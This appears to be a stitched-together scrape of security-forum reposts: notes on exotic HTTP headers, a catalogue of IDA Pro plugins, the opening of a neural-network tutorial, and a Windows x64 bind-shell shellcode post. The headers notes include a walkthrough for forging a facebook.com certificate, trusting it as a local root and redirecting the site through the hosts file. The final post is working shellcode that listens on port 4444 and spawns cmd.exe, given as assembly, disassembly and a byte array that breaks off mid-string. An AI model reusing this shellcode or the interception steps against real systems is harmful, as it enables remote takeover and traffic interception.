pin-sha256="r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E="; pin-sha256="q4PO2G2cbkZhZ82+JgmRUyGMoAeozA+BSXVXQWB8XWQ="; report-uri="http://reports.fb.com/hpkp/" Why do we need this? Isn't trusting Certificate Authorities enough? An attacker could create their own certificate for www.facebook.com and trick me into adding it to my trust root certificate store. Or it could be an administrator in your organization. Let's create a certificate for www.facebook.com. sudo mkdir /etc/certs echo -e 'US\nCA\nSF\nFB\nXX\nwww.facebook.com\nno@spam.org' | \ sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ -keyout /etc/certs/facebook.key \ -out /etc/certs/facebook.crt And make it trusted on our computer. # curl sudo cp /etc/certs/*.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates # Google Chrome sudo apt install libnss3-tools -y certutil -A -t "C,," -n "FB" -d sql:$HOME/.pki/nssdb -i /etc/certs/facebook.crt # Mozilla Firefox #certutil -A -t "CP,," -n "FB" -d sql:`ls -1d $HOME/.mozilla/firefox/*.default | head -n 1` -i /etc/certs/facebook.crt Let's create our own web server that uses this certificate. var fs = require('fs') var https = require('https') var express = require('express') var options = { key: fs.readFileSync(`/etc/certs/${process.argv[2]}.key`), cert: fs.readFileSync(`/etc/certs/${process.argv[2]}.crt`) } var app = express() app.use((req, res) => res.send(`<h1>hacked</h1>`)) https.createServer(options, app).listen(443) Switch to our server. echo 127.0.0.1 www.facebook.com | sudo tee -a /etc/hosts sudo node server.js facebook Does it work? $ curl https://www.facebook.com <h1>hacked</h1> Good. curl validates certificates. Because I've visited Facebook before and Google Chrome has seen the header, it should report the attack but still allow it, right? Nope. Public-key pinning was bypassed by a local root certificate. Interesting. Alright, what about www.google.com? echo -e 'US\nCA\nSF\nGoogle\nXX\nwww.google.com\nno@spam.org' | \ sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ -keyout /etc/certs/google.key \ -out /etc/certs/google.crt sudo cp /etc/certs/*.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates certutil -A -t "C,," -n "Google" -d sql:$HOME/.pki/nssdb -i /etc/certs/google.crt echo 127.0.0.1 www.google.com | sudo tee -a /etc/hosts sudo node server.js google Same. I guess this is a feature. Anyway, if you don't add these certificates to your store, you won't be able to visit these sites because the option to add an exception in Firefox or Proceed unsafely in Chrome are not available. Content-Encoding: br The content is compressed with Brotli. It promises better compression density and comparable decompression speed to gzip. It is supported by Google Chrome. Naturally, there is a node.js module for it. var shrinkRay = require('shrink-ray') var request = require('request') var express = require('express') request('https://www.gutenberg.org/files/1342/1342-0.txt', (err, res, text) => { if (err) throw new Error(err) var app = express() app.use(shrinkRay()) app.use((req, res) => res.header('content-type', 'text/plain').send(text)) app.listen(1234) }) Uncompressed: 700 KB Brotli: 204 KB Gzip: 241 KB Timing-Allow-Origin The Resource Timing API allows you to measure how long it takes to fetch resources on your page. Because timing information can be used to determine whether or not a user has previously visited a URL (based on whether the content or DNS resolution are cached), the standard deemed it a privacy risk to expose timing information to arbitrary hosts. <script> setTimeout(function() { console.log(window.performance.getEntriesByType('resource')) }, 1000) </script> <img src="http://placehold.it/350x150"> <img src="/local.gif"> It looks like you can get detailed timing information (domain lookup time, for example) only for resources that are on your origin unless the Timing-Allow-Origin is set. Here's how you can use it. Timing-Allow-Origin: * Timing-Allow-Origin: http://foo.com http://bar.com Alt-Svc Alternative Services allow an origin's resources to be authoritatively available at a separate network location, possibly accessed with a different protocol configuration. This one is used by Google: alt-svc: quic=":443"; ma=2592000; v="36,35,34" It means that the browser can use, if it wants to, the QUIC (Quick UDP Internet Connections) or HTTP over UDP protocol on port 443 for the next 30 days (max age is 2592000 seconds or 720 hours or 30 days). No idea what v stands for. Version? https://www.mnot.net/blog/2016/03/09/alt-svc https://ma.ttias.be/googles-quic-protocol-moving-web-tcp-udp/ P3P Here's a couple of P3P headers I've seen: P3P: CP="This is not a P3P policy! See https://support.google.com/accounts/answer/151657?hl=en for more info." P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Some browsers require third party cookies to use the P3P protocol to state their privacy practices. The organization that established P3P, the World Wide Web Consortium, suspended its work on this standard several years ago because most modern web browsers don't fully support P3P. As a result, the P3P standard is now out of date and doesn't reflect technologies that are currently in use on the web, so most websites currently don't have P3P policies. I did not do much research on this but it looks like this is needed for IE8 to accept 3rd party cookies. This is accepted by Internet Explorer. For example, IE's "high" privacy setting blocks all cookies from websites that do not have a compact privacy policy, but cookies accompanied by P3P non-policies like those above are not blocked. Sursa: https://peteris.rocks/blog/exotic-http-headers/

Best IDA Plugins CyberPunk » Reverse Engineering The Interactive Disassembler, more commonly known as simply IDA, is a disassembler for computer software which generates assembly language source code from machine-executable code. It supports a variety of executable formats for different processors and operating systems. It also can be used as a debugger for Windows PE, Mac OS X Mach-O, and Linux ELF executables. A decompiler plug-in for programs compiled with a C/C++ compiler is available at extra cost. The latest full version of IDA Pro is commercial; while an earlier and less capable version is available for download free of charge (version 5.0 as of March 2015). IDA performs automatic code analysis, using cross-references between code sections, knowledge of parameters of API calls, and other information. However, the nature of disassembly precludes total accuracy, and a great deal of human intervention is necessarily required; IDA has interactive functionality to aid in improving the disassembly. A typical IDA user will begin with an automatically generated disassembly listing and then convert sections from code to data and vice versa, rename, annotate, and otherwise add information to the listing, until it becomes clear what it does. “IDC scripts” make it possible to extend the operation of the disassembler. 3DSX Loader IDA PRO Loader for 3DSX files Adobe Flash disassembler The 2 plugins present in this archive will enable IDA to parse SWF files, load all SWF tags as segments for fast search and retrieval, parse all tags that can potentially contain ActionScript2 code, discover all such code(a dedicated processor module has been written for it) and even name the event functions acording to event handled in it (eg. OnInitialize). Download Android Debugging This version have both support for native arm debugging via usb and sdk ADV manager. Android Scripts Collection Collection of Android reverse engineering scripts that make my life easier BinClone BinClone: detecting code clones in malware [SERE 2014] BinNavi BinNavi is a binary analysis IDE – an environment that allows users to inspect, navigate, edit, and annotate control-flow-graphs of disassembled code, do the same for the callgraph of the executable, collect and combine execution traces, and generally keep track of analysis results among a group of analysts. Bin Sourcerer BinSourcerer (a.k.a RE-Source Online) is an assembly to source code matching framework for binary auditing and malware analysis. Bootroom Analysis Library IBAL is the IDA Pro Bootrom Analysis Library, which contains a number of useful functions for analyzing embedded ROMs. Bosch ME7 Siemens Bosch ME7.x Disassembler Helper for IDA Pro collabREate collabREate is a plugin for IDA Pro that is designed to provide a collaborative reverse engineering capability for multiple IDA users working on the same binary file. Class Informer Scans an MSVC 32bit target IDB for vftables with C++ RTTI, and MFC RTCI type data. Places structure defs, names, labels, and comments to make more sense of class vftables (“Virtual Function Table”) and make them read easier as an aid to reverse engineering. Creates a list window with found vftables for browsing. Crowd Detox The CrowdDetox plugin for Hex-Rays automatically removes junk code and variables from Hex-Rays function decompilations. Dalvik Header This is a simple Dalvik header plugin for IDA Pro Data Xref Counter Enumerates all of the the x-references in a specific segment and counts the frequency of usage. The plugin displays the data in QtTableWidget and lets the user filter and sort the references. You can also export the data to a CSV file. Diaphora Diaphora (διαφορά, Greek for ‘difference’) is a program diffing plugin for IDA Pro, similar to Zynamics Bindiff or the FOSS counterparts DarunGrim, TurboDiff, etc… It was released during SyScan 2015. DOXBox Debugger Eric Fry’s IDA/DOSBox debugger plugin DWARF Plugin IDADWARF is an IDA plugin that imports DWARF debugging symbols into an IDA database. Download Dynamic IDA Enrichment DIE is an IDA python plugin designed to enrich IDA`s static analysis with dynamic data. This is done using the IDA Debugger API, by placing breakpoints in key locations and saving the current system context once those breakpoints are hit. EFI Scripts Some IDA scripts and tools to assist with reverse engineering EFI executables. EtherAnnotate Parses the specialized instruction trace files that are generated using the EtherAnnotate Xen modification (http://github.com/inositle/etherannotate_xen). From the instruction trace, register values and code coverage of the run-time information are visualized in IDA Pro through instruction comments and line colorations. Extract Macho-O This is a very simple IDA plugin to extract all Mach-O binaries contained anywhere in the disassembly. Flare Plugins Shellcode Hashes, Struct Typer, StackStrings, MSDN Annotations, ApplyCalleType FLS Loader IDA Pro loader module for IFX iPhone baseband firmwares. Based on a universal scatter loader script by roxfan. Frida This is plugin for ida pro thar uses the Frida api. Mainly trace functions. Funcap This script records function calls (and returns) across an executable using IDA debugger API, along with all the arguments passed. It dumps the info to a text file, and also inserts it into IDA’s inline comments. This way, static analysis that usually follows the behavioral runtime analysis when analyzing malware, can be directly fed with runtime info such as decrypted strings returned in function’s arguments. Function Tagger This IDAPython script tags subroutines according to their use of imported functions Gamecube Extension This is a Gekko CPU Paired Single extension instructions plug-in for IDA Pro 5.2 Gamecube DSP This project adds support for the DSP present in the Gamecube and the Wii to IDA, the Interactive Disassembler [1]. This allows easy analyze of a DSP ucode, handling cross-references, control flow, and so on. Graph Slick Automated detection of inlined functions. It highlights similar groups of nodes and allows you to group them, simplifying complex functions. The authors provide an accompanying presentation which explains the algorithms behind the plugin and shows sample use cases. HexRays CodeXplorer The Hex-Rays Decompiler plugin for better code navigation in RE process. CodeXplorer automates code REconstruction of C++ applications or modern malware like Stuxnet, Flame, Equation, Animal Farm … HexRays Tools Assist in creation of new structure definitions / virtual calls detection Jump directly to virtual function or structure member definition Gives list of structures with given size, with given offset Finds structures with same “shape” as is used. convert function to __usercall or __userpurge and more…. IDA2SQL As the name implies this plugin can be used to export information from IDA databases to SQL databases. This allows for further analysis of the collected data: statstical analysis, building graphs, finding similarities between programs, etc. IDA C# Scripting IDA with C# IDA Compare IDA disassembly level diffing tool, find patches and modifications between malware variants. See mydoom A/B sample database and video trainer for usage. IDA Eye Plugin that enables you to perform different operations at the mnemonic level, independent of any particular processor type. These operations are facilitated through a parameterized template, which include the capabilities to de/highlight instructions, gather statistical information about the frequency of each instruction, and search for sequences of mnemonics, among other features. IDA Extrapass An IDA Pro Win32 target clean up plug-in by Sirmabus. It does essentially four cleaning/fixing steps: Convert stray code section values to “unknown”, fix missing “align” blocks, fix missing code bytes, and locate and fix missing/undefined functions. IDA Patchwork Stitching against malware families with IDA Pro (tool for the talk at Spring9,https://spring2014.gdata.de/spring2014/programm.html). In essence, I use a somewhat fixed / refurbished version of PyEmu along IDA to demonstrate deobfuscation of the different patterns found in the malware family Nymaim. IDA Rest A simple REST-like API for basic interoperability with IDA Pro. IDA Scope IDAscope is an IDA Pro extension with the goal to ease the task of (malware) reverse engineering with a current focus on x86 Windows. It consists of multiple tabs, containing functionality to achieve different goals such as fast identification of semantically interesting locations in the analysis target, seamless access to MSDN documentation of Windows API, and finding of potential crypto/compression algorithms. IDA Signature Matching Tool Tool for searching signatures inside files, extremely useful as help in reversing jobs like figuring or having an initial idea of what encryption/compression algorithm is used for a proprietary protocol or file. It can recognize tons of compression, multimedia and encryption algorithms and many other things like known strings and anti-debugging code which can be also manually added since it’s all based on a text signature file read at run-time and easy to modify. IDA Sploiter IDA Sploiter is a plugin for Hex-Ray’s IDA Pro disassembler designed to enhance IDA’s capabilities as an exploit development and vulnerability research tool. Some of the plugin’s features include a powerful ROP gadgets search engine, semantic gadget analysis and filtering, interactive ROP chain builder, stack pivot analysis, writable function pointer search, cyclic memory pattern generation and offset analysis, detection of bad characters and memory holes, and many others. IDA Stealth IDAStealth is a plugin which aims to hide the IDA debugger from most common anti-debugging techniques. The plugin is composed of two files, the plugin itself and a dll which is injected into the debuggee as soon as the debugger attaches to the process. The injected dll actually implements most of the stealth techniques either by hooking system calls or by patching some flags in the remote process. IDA Toolbag The IDA Toolbag plugin provides many handy features, such as: A ‘History’ view, that displays functions in the disassembly that you have decided are important, and the relationships between them. A code path-searching tool, that lets you find what functions (or blocks) are forming a path between two locations. Manage and run your IDC/Python scripts Something that’s also of considerable importance is that the IDA Toolbag lets you collaborate with other IDA users: one can publish his ‘History’, or import another user’s history & even merge them! See the official documentation for an extensive feature list. IDA Xtensa This is a processor plugin for IDA, to support the Xtensa core found in Espressif ESP8266. It does not support other configurations of the Xtensa architecture, but that is probably (hopefully) easy to implement. idb2pat IDB to Pat. MSDN Helper This tool will help you to get to Offline MSDN help while using IDA Pro. MyNav MyNav is a plugin for IDA Pro to help reverse engineers in the most typical task like discovering what functions are responsible of some specifical tasks, finding paths between “interesting” functions and data entry points. NES Loader Nintendo Entertainment System (NES) ROM loader module for IDA Pro. Optimice This plugin enables you to remove some common obfuscations and rewrite code to a new segment. Currently supported optimizations are: Dead code removal, JMP merging, JCC opaque predicate removal, Pattern based deobfuscations Patcher IDA Patcher is a plugin for Hex-Ray’s IDA Pro disassembler designed to enhance IDA’s ability to patch binary files and memory. Plus22 Plus22 transforms x86_64 executables to be processed with 32-bit version of Hex-Rays Decompiler. Plympton A gem to read program disassembly from a YAML dump. The YAML dump is generated from an IDA Pro python script. This script is included along with this Gem (func.py) Pomidor IDA Pomidor is a plugin for Hex-Ray’s IDA Pro disassembler that will help you retain concentration and productivity during long reversing sessions. Qualcomm Loader IDA loader plugin for Qualcomm Bootloader Stages qb-sync qb-sync is an open source tool to add some helpful glue between IDA Pro and Windbg. Its core feature is to dynamically synchronize IDA’s graph windows with Windbg’s position. Recompiler IDA recompiler REProgram A way of making almost-arbitrary changes to an executable when run under a debugger — even changes that don’t fit. REtypedef REtypedef is an IDA PRO plugin that allows defining custom substitutions for function names. It comes with a default ruleset providing substitutions for many common STL types. Samsung S4 Rom Loader IDA Pro Loader Plugin for Samsung Galaxy S4 ROMs Sark Sark, (named after the notorious Tron villain,) is an object-oriented scripting layer written on top of IDAPython. Sark is easy to use and provides tools for writing advanced scripts and plugins. Sega Genesis/Megadrive Tools Special IDA Pro tools for the Sega Genesis/Megadrive romhackers. Tested work on v5.2, v6.6. Should work on other versions. Sig Maker Can create sigs automatically and has a wide variety of functions (might be unstable on IDA 6.2). Snippt Detector Snippet Detector is an IDA Python scripts project used to detect snippets from 32bit disassembled files. snippet is the word used to identify a generic sequence of instructions (at the moment a snippet is indeed a defined function). The aim of the tool is to collect many disassembled snippets inside a database for the detection process. Snowman Decompiler Snowman is a native code to C/C++ decompiler. Standalone and IDA Plugin. Source Code Splode Augmenting Static Reverse Engineering with Dynamic Analysis and Instrumentation spu3dbg Ida Pro debugger module for the anergistic SPU emulator. Synergy A combination of an IDAPython Plugin and a control version system that result in a new reverse engineering collaborative addon for IDA Pro. By http://cubicalabs.com/ Tarkus Tarkus is a plugin manager for IDA Pro, modelled after Python’s pip. VirusBattle The plugin is an integration of Virus Battle API to the well known IDA Disassembler. Virusbattle is a web service that analyses malware and other binaries with a variety of advanced static and dynamic analyses. Win32 LST to Inline Assembly Python script which extracts procedures from IDA Win32 LST files and converts them to correctly dynamically linked compilable Visual C++ inline assembly. WinIOCtlDecoder An IDA Pro plugin which decodes a Windows Device I/O control code into DeviceType, FunctionCode, AccessType and MethodType. Xex Loader for IDA 6.6 This adds the ability to load xex files into IDA directly without having to first process them in any way. It processes the xex file as much as possible while loading to minimise the work required by the user to get it to a state fit for reversing. X86Emu Its purpose is to allow a reverse engineer the chance to step through x86 code while reverse engineering a binary. The plugin can help you step through any x86 binary from any platform. For Windows binaries, many common library calls are trapped and emulated by the emulator, allowing for a higher fidelity emulation. I find it particularly useful for stepping through obfuscated code as it automatically reorganizes an IDA disassembly based on actual code paths. This list has been compiled by onethawt Sursa: https://n0where.net/best-ida-plugins/

Hacker's guide to Neural Networks Hi there, I’m a CS PhD student at Stanford. I’ve worked on Deep Learning for a few years as part of my research and among several of my related pet projects is ConvNetJS - a Javascript library for training Neural Networks. Javascript allows one to nicely visualize what’s going on and to play around with the various hyperparameter settings, but I still regularly hear from people who ask for a more thorough treatment of the topic. This article (which I plan to slowly expand out to lengths of a few book chapters) is my humble attempt. It’s on web instead of PDF because all books should be, and eventually it will hopefully include animations/demos etc. My personal experience with Neural Networks is that everything became much clearer when I started ignoring full-page, dense derivations of backpropagation equations and just started writing code. Thus, this tutorial will contain very little math (I don’t believe it is necessary and it can sometimes even obfuscate simple concepts). Since my background is in Computer Science and Physics, I will instead develop the topic from what I refer to as hackers’s perspective. My exposition will center around code and physical intuitions instead of mathematical derivations. Basically, I will strive to present the algorithms in a way that I wish I had come across when I was starting out. “…everything became much clearer when I started writing code.” You might be eager to jump right in and learn about Neural Networks, backpropagation, how they can be applied to datasets in practice, etc. But before we get there, I’d like us to first forget about all that. Let’s take a step back and understand what is really going on at the core. Lets first talk about real-valued circuits. Update note: I suspended my work on this guide a while ago and redirected a lot of my energy to teaching CS231n (Convolutional Neural Networks) class at Stanford. The notes are on cs231.github.io and the course slides can be found here. These materials are highly related to material here, but more comprehensive and sometimes more polished. Articol complet: https://karpathy.github.io/neuralnets/

Functionalitate introdusa in ultimul update: https://rstforums.com/forum/leaderboard/

Windows x64 - Bind Shell TCP Shellcode (508 bytes) /* # Title : Windows x64 Bind Shell TCP Shellcode # size : 508 bytes # Date : 08-12-2016 # Author : Roziul Hasan Khan Shifat # Tested On : Windows 7 Professional x64 */ /* section .text global _start _start: xor rdx,rdx mov rax,[gs:rdx+0x60] mov rsi,[rax+0x18] mov rsi,[rsi+0x10] lodsq mov rsi,[rax] mov r14,[rsi+0x30] ;---------------------- mov dl,0x88 mov ebx,[r14+0x3c] add rbx,r14 mov ebx,[rbx+rdx] add rbx,r14 ;-------------------------- mov esi,[rbx+0x1c] add rsi,r14 ;kernel32.dll base address ;------------------------------- mov dx,832 mov ebx,[rsi+rdx*4] add rbx,r14 ;LoadLibraryA() ;------------------------------- mov dl,128 sub rsp,rdx lea r12,[rsp] ;---------------------------------------------------- ;loading ws2_32.dll xor rdx,rdx mov [r12],dword 'ws2_' mov [r12+4],word '32' mov [r12+6],byte dl lea rcx,[r12] sub rsp,88 call rbx mov r15,rax ;ws2_32.dll base address ;-------------------------------------------------- xor rdx,rdx mov dl,0x88 mov ebx,[r15+0x3c] add rbx,r15 mov ebx,[rbx+rdx] add rbx,r15 mov edi,[rbx+0x1c] add rdi,r15 ;------------------------------ mov dx,114*4 mov ebx,[rdi+rdx] add rbx,r15 ;WSAStartup() ;----------------------------------- ;WSAStartup(514,&WSADATA) xor rcx,rcx mov cx,408 sub rsp,rcx lea rdx,[rsp] mov cx,514 sub rsp,88 call rbx ;------------------------------------------- xor rdx,rdx mov dx,98*4 mov ebx,[rdi+rdx] add rbx,r15 ;WSASocketA() ;WSASocket(2,1,6,0,0,0) push 6 push 1 push 2 pop rcx pop rdx pop r8 xor r9,r9 mov [rsp+32],r9 mov [rsp+40],r9 call rbx mov r13,rax ;SOCKET ;-------------------------------------------- mov ebx,[rdi+80] add rbx,r15 ;setsockopt() ;setsockopt(SOCKET,0xffff,4,&1,4) xor rdx,rdx mov rcx,r13 mov dx,0xffff push 4 pop r8 mov [rsp],byte 1 lea r9,[rsp] sub rsp,88 mov [rsp+32],r8 call rbx ;-------------------------------------------------- mov ebx,[rdi+4] add rbx,r15 ;bind() ;bind(SOCKET,(struct sockaddr *)&struct sockaddr_in,16) push 16 pop r8 xor rdx,rdx mov [r12],rdx mov [r12+8],rdx mov [r12],byte 2 mov [r12+2],word 0x5c11 ;port 4444 (change it if U want) lea rdx,[r12] mov rcx,r13 call rbx ;---------------------------------------- mov ebx,[rdi+48] add rbx,r15 ;listen() ;listen(SOCKET,1) push 1 pop rdx push r13 pop rcx call rbx ;----------------------------------- mov ebx,[rdi] add rbx,r15 ;accept() ;accept(SOCKET,(struct sockaddr *)&struct sockaddr_in,16) xor rdx,rdx mov [r12],rdx mov [r12+8],rdx mov dl,16 push rdx lea r8,[rsp] lea rdx,[r12] mov rcx,r13 sub rsp,88 call rbx ;------------------------------------------- xor rdx,rdx mov [r12],rdx mov [r12+8],rdx mov dl,104 xor rcx,rcx mov [r12],dword edx mov [r12+4],rcx mov [r12+12],rcx mov [r12+20],rcx mov [r12+24],rcx mov dl,255 inc rdx mov [r12+0x3c],edx mov [r12+0x50],rax mov [r12+0x58],rax mov [r12+0x60],rax ;-------------------------------------------------- mov [r12-4],dword 'cmdA' mov [r12-1],byte cl ;----------------------------------------- sub rsp,88 ;CreateProcessA(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&STARTUPINFOA,&PROCESS_INFOMATION) lea rdx,[r12-4] ;"cmd" xor r8,r8 ;NULL push r8 pop r9 ;NULL mov [rsp+32],byte 1 ;TRUE mov [rsp+40],r8 ;0 mov [rsp+48],r8 ;NULL mov [rsp+56],r8 ;NULL lea rax,[r12] mov [rsp+64],rax lea rax,[r12+104] mov [rsp+72],rax xor r10,r10 mov r10w,165*4 mov ebx,[rsi+r10] add rbx,r14 ;CreateProcessA() call rbx ;----------------------------------------------- mov r10w,297*4 mov ebx,[rsi+r10] add rbx,r14 push 1 pop rcx add rsp,88 call rbx */ /* file format pe-x86-64 Disassembly of section .text: 0000000000000000 <_start>: 0: 48 31 d2 xor %rdx,%rdx 3: 65 48 8b 42 60 mov %gs:0x60(%rdx),%rax 8: 48 8b 70 18 mov 0x18(%rax),%rsi c: 48 8b 76 10 mov 0x10(%rsi),%rsi 10: 48 ad lods %ds:(%rsi),%rax 12: 48 8b 30 mov (%rax),%rsi 15: 4c 8b 76 30 mov 0x30(%rsi),%r14 19: b2 88 mov $0x88,%dl 1b: 41 8b 5e 3c mov 0x3c(%r14),%ebx 1f: 4c 01 f3 add %r14,%rbx 22: 8b 1c 13 mov (%rbx,%rdx,1),%ebx 25: 4c 01 f3 add %r14,%rbx 28: 8b 73 1c mov 0x1c(%rbx),%esi 2b: 4c 01 f6 add %r14,%rsi 2e: 66 ba 40 03 mov $0x340,%dx 32: 8b 1c 96 mov (%rsi,%rdx,4),%ebx 35: 4c 01 f3 add %r14,%rbx 38: b2 80 mov $0x80,%dl 3a: 48 29 d4 sub %rdx,%rsp 3d: 4c 8d 24 24 lea (%rsp),%r12 41: 48 31 d2 xor %rdx,%rdx 44: 41 c7 04 24 77 73 32 movl $0x5f327377,(%r12) 4b: 5f 4c: 66 41 c7 44 24 04 33 movw $0x3233,0x4(%r12) 53: 32 54: 41 88 54 24 06 mov %dl,0x6(%r12) 59: 49 8d 0c 24 lea (%r12),%rcx 5d: 48 83 ec 58 sub $0x58,%rsp 61: ff d3 callq *%rbx 63: 49 89 c7 mov %rax,%r15 66: 48 31 d2 xor %rdx,%rdx 69: b2 88 mov $0x88,%dl 6b: 41 8b 5f 3c mov 0x3c(%r15),%ebx 6f: 4c 01 fb add %r15,%rbx 72: 8b 1c 13 mov (%rbx,%rdx,1),%ebx 75: 4c 01 fb add %r15,%rbx 78: 8b 7b 1c mov 0x1c(%rbx),%edi 7b: 4c 01 ff add %r15,%rdi 7e: 66 ba c8 01 mov $0x1c8,%dx 82: 8b 1c 17 mov (%rdi,%rdx,1),%ebx 85: 4c 01 fb add %r15,%rbx 88: 48 31 c9 xor %rcx,%rcx 8b: 66 b9 98 01 mov $0x198,%cx 8f: 48 29 cc sub %rcx,%rsp 92: 48 8d 14 24 lea (%rsp),%rdx 96: 66 b9 02 02 mov $0x202,%cx 9a: 48 83 ec 58 sub $0x58,%rsp 9e: ff d3 callq *%rbx a0: 48 31 d2 xor %rdx,%rdx a3: 66 ba 88 01 mov $0x188,%dx a7: 8b 1c 17 mov (%rdi,%rdx,1),%ebx aa: 4c 01 fb add %r15,%rbx ad: 6a 06 pushq $0x6 af: 6a 01 pushq $0x1 b1: 6a 02 pushq $0x2 b3: 59 pop %rcx b4: 5a pop %rdx b5: 41 58 pop %r8 b7: 4d 31 c9 xor %r9,%r9 ba: 4c 89 4c 24 20 mov %r9,0x20(%rsp) bf: 4c 89 4c 24 28 mov %r9,0x28(%rsp) c4: ff d3 callq *%rbx c6: 49 89 c5 mov %rax,%r13 c9: 8b 5f 50 mov 0x50(%rdi),%ebx cc: 4c 01 fb add %r15,%rbx cf: 48 31 d2 xor %rdx,%rdx d2: 4c 89 e9 mov %r13,%rcx d5: 66 ba ff ff mov $0xffff,%dx d9: 6a 04 pushq $0x4 db: 41 58 pop %r8 dd: c6 04 24 01 movb $0x1,(%rsp) e1: 4c 8d 0c 24 lea (%rsp),%r9 e5: 48 83 ec 58 sub $0x58,%rsp e9: 4c 89 44 24 20 mov %r8,0x20(%rsp) ee: ff d3 callq *%rbx f0: 8b 5f 04 mov 0x4(%rdi),%ebx f3: 4c 01 fb add %r15,%rbx f6: 6a 10 pushq $0x10 f8: 41 58 pop %r8 fa: 48 31 d2 xor %rdx,%rdx fd: 49 89 14 24 mov %rdx,(%r12) 101: 49 89 54 24 08 mov %rdx,0x8(%r12) 106: 41 c6 04 24 02 movb $0x2,(%r12) 10b: 66 41 c7 44 24 02 11 movw $0x5c11,0x2(%r12) 112: 5c 113: 49 8d 14 24 lea (%r12),%rdx 117: 4c 89 e9 mov %r13,%rcx 11a: ff d3 callq *%rbx 11c: 8b 5f 30 mov 0x30(%rdi),%ebx 11f: 4c 01 fb add %r15,%rbx 122: 6a 01 pushq $0x1 124: 5a pop %rdx 125: 41 55 push %r13 127: 59 pop %rcx 128: ff d3 callq *%rbx 12a: 8b 1f mov (%rdi),%ebx 12c: 4c 01 fb add %r15,%rbx 12f: 48 31 d2 xor %rdx,%rdx 132: 49 89 14 24 mov %rdx,(%r12) 136: 49 89 54 24 08 mov %rdx,0x8(%r12) 13b: b2 10 mov $0x10,%dl 13d: 52 push %rdx 13e: 4c 8d 04 24 lea (%rsp),%r8 142: 49 8d 14 24 lea (%r12),%rdx 146: 4c 89 e9 mov %r13,%rcx 149: 48 83 ec 58 sub $0x58,%rsp 14d: ff d3 callq *%rbx 14f: 48 31 d2 xor %rdx,%rdx 152: 49 89 14 24 mov %rdx,(%r12) 156: 49 89 54 24 08 mov %rdx,0x8(%r12) 15b: b2 68 mov $0x68,%dl 15d: 48 31 c9 xor %rcx,%rcx 160: 41 89 14 24 mov %edx,(%r12) 164: 49 89 4c 24 04 mov %rcx,0x4(%r12) 169: 49 89 4c 24 0c mov %rcx,0xc(%r12) 16e: 49 89 4c 24 14 mov %rcx,0x14(%r12) 173: 49 89 4c 24 18 mov %rcx,0x18(%r12) 178: b2 ff mov $0xff,%dl 17a: 48 ff c2 inc %rdx 17d: 41 89 54 24 3c mov %edx,0x3c(%r12) 182: 49 89 44 24 50 mov %rax,0x50(%r12) 187: 49 89 44 24 58 mov %rax,0x58(%r12) 18c: 49 89 44 24 60 mov %rax,0x60(%r12) 191: 41 c7 44 24 fc 63 6d movl $0x41646d63,-0x4(%r12) 198: 64 41 19a: 41 88 4c 24 ff mov %cl,-0x1(%r12) 19f: 48 83 ec 58 sub $0x58,%rsp 1a3: 49 8d 54 24 fc lea -0x4(%r12),%rdx 1a8: 4d 31 c0 xor %r8,%r8 1ab: 41 50 push %r8 1ad: 41 59 pop %r9 1af: c6 44 24 20 01 movb $0x1,0x20(%rsp) 1b4: 4c 89 44 24 28 mov %r8,0x28(%rsp) 1b9: 4c 89 44 24 30 mov %r8,0x30(%rsp) 1be: 4c 89 44 24 38 mov %r8,0x38(%rsp) 1c3: 49 8d 04 24 lea (%r12),%rax 1c7: 48 89 44 24 40 mov %rax,0x40(%rsp) 1cc: 49 8d 44 24 68 lea 0x68(%r12),%rax 1d1: 48 89 44 24 48 mov %rax,0x48(%rsp) 1d6: 4d 31 d2 xor %r10,%r10 1d9: 66 41 ba 94 02 mov $0x294,%r10w 1de: 42 8b 1c 16 mov (%rsi,%r10,1),%ebx 1e2: 4c 01 f3 add %r14,%rbx 1e5: ff d3 callq *%rbx 1e7: 66 41 ba a4 04 mov $0x4a4,%r10w 1ec: 42 8b 1c 16 mov (%rsi,%r10,1),%ebx 1f0: 4c 01 f3 add %r14,%rbx 1f3: 6a 01 pushq $0x1 1f5: 59 pop %rcx 1f6: 48 83 c4 58 add $0x58,%rsp 1fa: ff d3 callq *%rbx */ #include<windows.h> #include<stdio.h> #include<string.h> char shellcode[]=\ "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x10\x48\xad\x48\x8b\x30\x4c\x8b\x76\x30\xb2\x88\x41\x8b\x5e\x3c\x4c\x01\xf3\x8b\x1c\x13\x4c\x01\xf3\x8b\x73\x1c\x4c\x01\xf6\x66\xba\x40\x03\x8b\x1c\x96\x4c\x01\xf3\xb2\x80\x48\x29\xd4\x4c\x8d\x24\x24\x48\x31\xd2\x41\xc7\x04\x24\x77\x73\x32\x5f\x66\x41\xc7\x44\x24\x04\x33\x32\x41\x88\x54\x24\x06\x49\x8d\x0c\x24\x48\x83\xec\x58\xff\xd3\x49\x89\xc7\x48\x31\xd2\xb2\x88\x41\x8b\x5f\x3c\x4c\x01\xfb\x8b\x1c\x13\x4c\x01\xfb\x8b\x7b\x1c\x4c\x01\xff\x66\xba\xc8\x01\x8b\x1c\x17\x4c\x01\xfb\x48\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x66\xb9\x02\x02\x48\x83\xec\x58\xff\xd3\x48\x31\xd2\x66\xba\x88\x01\x8b\x1c\x17\x4c\x01\xfb\x6a\x06\x6a\x01\x6a\x02\x59\x5a\x41\x58\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd3\x49\x89\xc5\x8b\x5f\x50\x4c\x01\xfb\x48\x31\xd2\x4c\x89\xe9\x66\xba\xff\xff\x6a\x04\x41\x58\xc6\x04\x24\x01\x4c\x8d\x0c\x24\x48\x83\xec\x58\x4c\x89\x44\x24\x20\xff\xd3\x8b\x5f\x04\x4c\x01\xfb\x6a\x10\x41\x58\x48\x31\xd2\x49\x89\x14\x24\x49\x89\x54\x24\x08\x41\xc6\x04\x24\x02\x66\x41\xc7\x44\x24\x02\x11\x5c\x49\x8d\x14\x24\x4c\x89\xe9\xff\xd3\x8b\x5f\x30\x4c\x01\xfb\x6a\x01\x5a\x41\x55\x59\xff\xd3\x8b\x1f\x4c\x01\xfb\x48\x31\xd2\x